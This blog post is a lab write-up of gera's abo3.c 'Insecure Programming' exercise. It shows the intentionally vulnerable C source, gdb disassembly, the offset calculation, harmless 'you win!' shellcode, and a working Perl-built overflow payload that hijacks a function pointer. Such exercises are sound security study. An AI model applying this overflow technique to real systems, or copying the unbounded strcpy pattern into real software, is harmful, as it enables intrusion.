Insecure Programming by Example: abo3.c

Updated 03/20/2010 to add an excellent introduction to pointers in C and C++.

The theme for this exercise was provided by one of the folks I follow on Twitter.

@kpyke: And so sayeth the @pusscat: “If you gave me the source code, I’d just compile it and look at it in a debugger anyways…”

This got me thinking, especially in the context of this challenge, that the source code sometimes isn’t all that useful. This is true in this case with this exercise. And maybe this is a milestone in my understanding of “how shit works”, but I have a feeling I’ll be spending a lot more time with the built-in disassemblers in gdb/Ollydbg/Windbg than with a list of the source.  This time, we’ll be working on abo3.c, the next in gera’s series on Insecure Programming. I’m aiming for brevity from now on in these posts so they are not so much work (I’m lazy), so let’s get straight to the code.

gera says:

microprocessor ownership

How to make the microprocessor make what you want? Who owns the Instruction Pointer, owns the execution flow, and that’s what we need. All bytes are composed of bits, but some of them are just numbers, and some of them are addresses to code. Jump! Geronimoooooooooo…

/* abo3.c                                                    *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* This'll prepare you for The Next Step                     */

int main(int argv,char **argc) {
   extern system,puts;
   void (*fn)(char*)=(void(*)(char*))&system;
   char buf[256];

   fn=(void(*)(char*))&puts;
   strcpy(buf,argc[1]);
   fn(argc[2]);
   exit(1);
}

gera continues:

buf is in the stack, and after it are some bits you can change, that you’ve learnt in abo1.

In case you wonder why we put that there, is so the linker doesn’t remove it.

This exercise makes use of a couple of things we haven’t covered in previous posts. One, this code uses the extern keyword in the C language to make the system and puts functions available. What this does (I think) is basically references directly the location of a function defined in the (implied) header files…I get the impression that GDB is auto-magically including the header files stdlib.h for system and stdio.h for puts.  One thing that is not immediately clear is that the system and puts addresses are both written to the same location, I think that might be what gera is talking about “so the linker doesn’t remove it”.  Secondly, this code makes extensive use of pointers in C, which is a subject I probably need to learn a lot more on.  As a quick summary, pointers contain a memory address, and have various unary operators that apply to them.  For a pointer named (creatively) POINTER, you could use the & or address-of operator to know the actual address of the variable – &POINTER, or you could use POINTER without any operators and that will return the memory address that POINTER contains, or you could dereference the variable using the * operator like *POINTER and that gives you the data contained at the address the pointer references.  Pointers can get nested, and be generally confusing.  You should read up on this, as it’s an important subject, and I’m not speaking from a great deal of experience.

As is always the case, we’ll not focus too much on the high-level representation of this code, rather, we’ll disassemble it in GDB. Here is a deadlist of the compiled executable.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048414 <main+0>:    push   ebp
0x08048415 <main+1>:    mov    ebp,esp
0x08048417 <main+3>:    sub    esp,0x128
0x0804841d <main+9>:    and    esp,0xfffffff0
0x08048420 <main+12>:   mov    eax,0x0
0x08048425 <main+17>:   sub    esp,eax
0x08048427 <main+19>:   mov    DWORD PTR [ebp-12],0x80482fc
0x0804842e <main+26>:   mov    DWORD PTR [ebp-12],0x804832c
0x08048435 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048438 <main+36>:   add    eax,0x4
0x0804843b <main+39>:   mov    eax,DWORD PTR [eax]
0x0804843d <main+41>:   mov    DWORD PTR [esp+4],eax
0x08048441 <main+45>:   lea    eax,[ebp-0x118]
0x08048447 <main+51>:   mov    DWORD PTR [esp],eax
0x0804844a <main+54>:   call   0x804831c <strcpy@plt>
0x0804844f <main+59>:   mov    eax,DWORD PTR [ebp+12]
0x08048452 <main+62>:   add    eax,0x8
0x08048455 <main+65>:   mov    eax,DWORD PTR [eax]
0x08048457 <main+67>:   mov    DWORD PTR [esp],eax
0x0804845a <main+70>:   mov    eax,DWORD PTR [ebp-12]
0x0804845d <main+73>:   call   eax
0x0804845f <main+75>:   mov    DWORD PTR [esp],0x1
0x08048466 <main+82>:   call   0x804833c <exit@plt>
End of assembler dump.

As is the case it seems when trying to do these exploits, we basically have to ask ourselves what it is within the programs execution that we control? Where does the program accept input from the user, and what does that mean to us? In this case, the program is using the ever-awesome strcpy function, which of course does not do a bounds check, and is copying a bunch of our data to the stack (as much as we want). We would typically move forward with overwriting the main stack frame’s return address, and controlling execution that way. Unfortunately, there is a pesky call to exit which we first encountered in the last example that will prevent us from doing that.

So we’ll have to go some other route. The obvious candidate to me is the call eax instruction. If we can somehow control the contents of the eax register at that point, we can take control of execution, and run arbitrary code. I think this particular exercise contains an important lesson; sometimes the actual high level code can be harder to understand than the disassembled code. I personally feel that this is the case here. If we only pay attention to what’s in the debugger, this is actually not such a tricky exercise.

We know fn is a function pointer that is called. In the deadlisting, it resides at ebp-12. Basically, if we can control the contents of ebp-12 we can control execution. This actually turns out to be really easy, since fn is declared in main as a stack variable by the assembler it will be trivial to overwrite with the unbounded strcpy() call. Here is a record of the exploit.

hacking@hacking-theart:~/InsecureProgramming $ gdb -q abo3
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048414 <main+0>:    push   ebp
0x08048415 <main+1>:    mov    ebp,esp
0x08048417 <main+3>:    sub    esp,0x128
0x0804841d <main+9>:    and    esp,0xfffffff0
0x08048420 <main+12>:   mov    eax,0x0
0x08048425 <main+17>:   sub    esp,eax
0x08048427 <main+19>:   mov    DWORD PTR [ebp-12],0x80482fc
0x0804842e <main+26>:   mov    DWORD PTR [ebp-12],0x804832c
0x08048435 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048438 <main+36>:   add    eax,0x4
0x0804843b <main+39>:   mov    eax,DWORD PTR [eax]
0x0804843d <main+41>:   mov    DWORD PTR [esp+4],eax
0x08048441 <main+45>:   lea    eax,[ebp-0x118]
0x08048447 <main+51>:   mov    DWORD PTR [esp],eax
0x0804844a <main+54>:   call   0x804831c <strcpy@plt>
0x0804844f <main+59>:   mov    eax,DWORD PTR [ebp+12]
0x08048452 <main+62>:   add    eax,0x8
0x08048455 <main+65>:   mov    eax,DWORD PTR [eax]
0x08048457 <main+67>:   mov    DWORD PTR [esp],eax
0x0804845a <main+70>:   mov    eax,DWORD PTR [ebp-12]
0x0804845d <main+73>:   call   eax
0x0804845f <main+75>:   mov    DWORD PTR [esp],0x1
0x08048466 <main+82>:   call   0x804833c <exit@plt>
End of assembler dump.
(gdb) break 1
Breakpoint 1 at 0x8048414: file abo3.c, line 1.
(gdb) run one two
Starting program: /home/hacking/InsecureProgramming/abo3 one two

Breakpoint 1, main (argv=134513684, argc=0x3) at abo3.c:6
6       int main(int argv,char **argc) {
(gdb) x $ebp-12
0xbffff82c:     0xb8000ff4
(gdb) x buf
0xbffff720:     0x080481ac
(gdb) print 0xbffff82c-0xbffff720
$1 = 268
(gdb) delete breakpoints
Delete all breakpoints? (y or n) y
(gdb) break *0x0804845d
Breakpoint 2 at 0x804845d: file abo3.c, line 13.
(gdb) run $(perl -e 'print "A" x 268 . "BBBB";') argtwo
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/hacking/InsecureProgramming/abo3 $(perl -e 'print "A" x 268 . "BBBB";') argtwo

Breakpoint 2, 0x0804845d in main (argv=3, argc=0xbffff754) at abo3.c:13
13              fn(argc[2]);
(gdb) x $eax
0x42424242:     Cannot access memory at address 0x42424242

Since the program in question isn’t pushing and popping at all, and doesn’t appear to be modifying esp or ebp that much, we can just run the program once real quick from the beginning to populate the registers and determine the offset between our unbounded strcpy destination buf and ebp-12. Once we have the offset, we’ll re-run the program with a quick inline Perl script to print the offset-worth of junk bytes and the string “BBBB” to overwrite ebp-12. I’ve placed a breakpoint directly before the call eax instruction, and at that point we examine eax to confirm that we control execution. Now here is a quickie with shellcode that we’ll reuse from abo1.c.

hacking@hacking-theart:~/InsecureProgramming $ cat abo3shellc.txt
BITS 32             ;  Tell nasm this is 32-bit code.

  jmp short one       ;  Jump down to a call at the end.

two:
; ssize_t write(int fd,  const void *buf, size_t count);
  pop ecx           ; Pop  the return address (string ptr) into ecx.
  xor eax, eax      ; Zero  out full 32 bits of eax register.
  mov al, 4         ; Write  syscall #4 to the low byte of eax.
  xor ebx, ebx      ; Zero out ebx.
  inc ebx           ; Increment ebx to 1,  STDOUT file descriptor.
  xor edx, edx
  mov dl, 8         ; Length of the string
  int 0x80          ; Do syscall: write(1, string, 14)

; void _exit(int status);
  mov al, 1        ; Exit syscall #1, the top 3 bytes are still zeroed.
  dec ebx          ; Decrement ebx back down to 0 for status = 0.
  int 0x80         ; Do syscall: exit(0)

one:
  call two   ; Call back upwards to avoid null bytes
  db "you win!"  ; with newline and carriage return bytes.
hacking@hacking-theart:~/InsecureProgramming $ nasm -o abo3shellc.bin abo3shellc.txt
hacking@hacking-theart:~/InsecureProgramming $ hexdump -C abo3shellc.bin
00000000  eb 13 59 31 c0 b0 04 31  db 43 31 d2 b2 08 cd 80  |..Y1...1.C1.....|
00000010  b0 01 4b cd 80 e8 e8 ff  ff ff 79 6f 75 20 77 69  |..K.......you wi|
00000020  6e 21                                             |n!|
00000022
hacking@hacking-theart:~/InsecureProgramming $ export SHELLCODE=$(cat abo3shellc.bin)
hacking@hacking-theart:~/InsecureProgramming $ env | grep SHELLCODE
SHELLCODE=�Y1��1�C1̀�K̀�����you win!
hacking@hacking-theart:~/InsecureProgramming $ ~/booksrc/getenvaddr SHELLCODE ./abo3
abo3            abo3.c          abo3shellc.bin  abo3shellc.txt
hacking@hacking-theart:~/InsecureProgramming $ ~/booksrc/getenvaddr SHELLCODE ./abo3
SHELLCODE will be at 0xbffff9d2
hacking@hacking-theart:~/InsecureProgramming $ ./abo3 $(perl -e 'print "A" x 268 . "\xd2\xf9\xff\xbf";') two
you win!hacking@hacking-theart:~/InsecureProgramming $
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: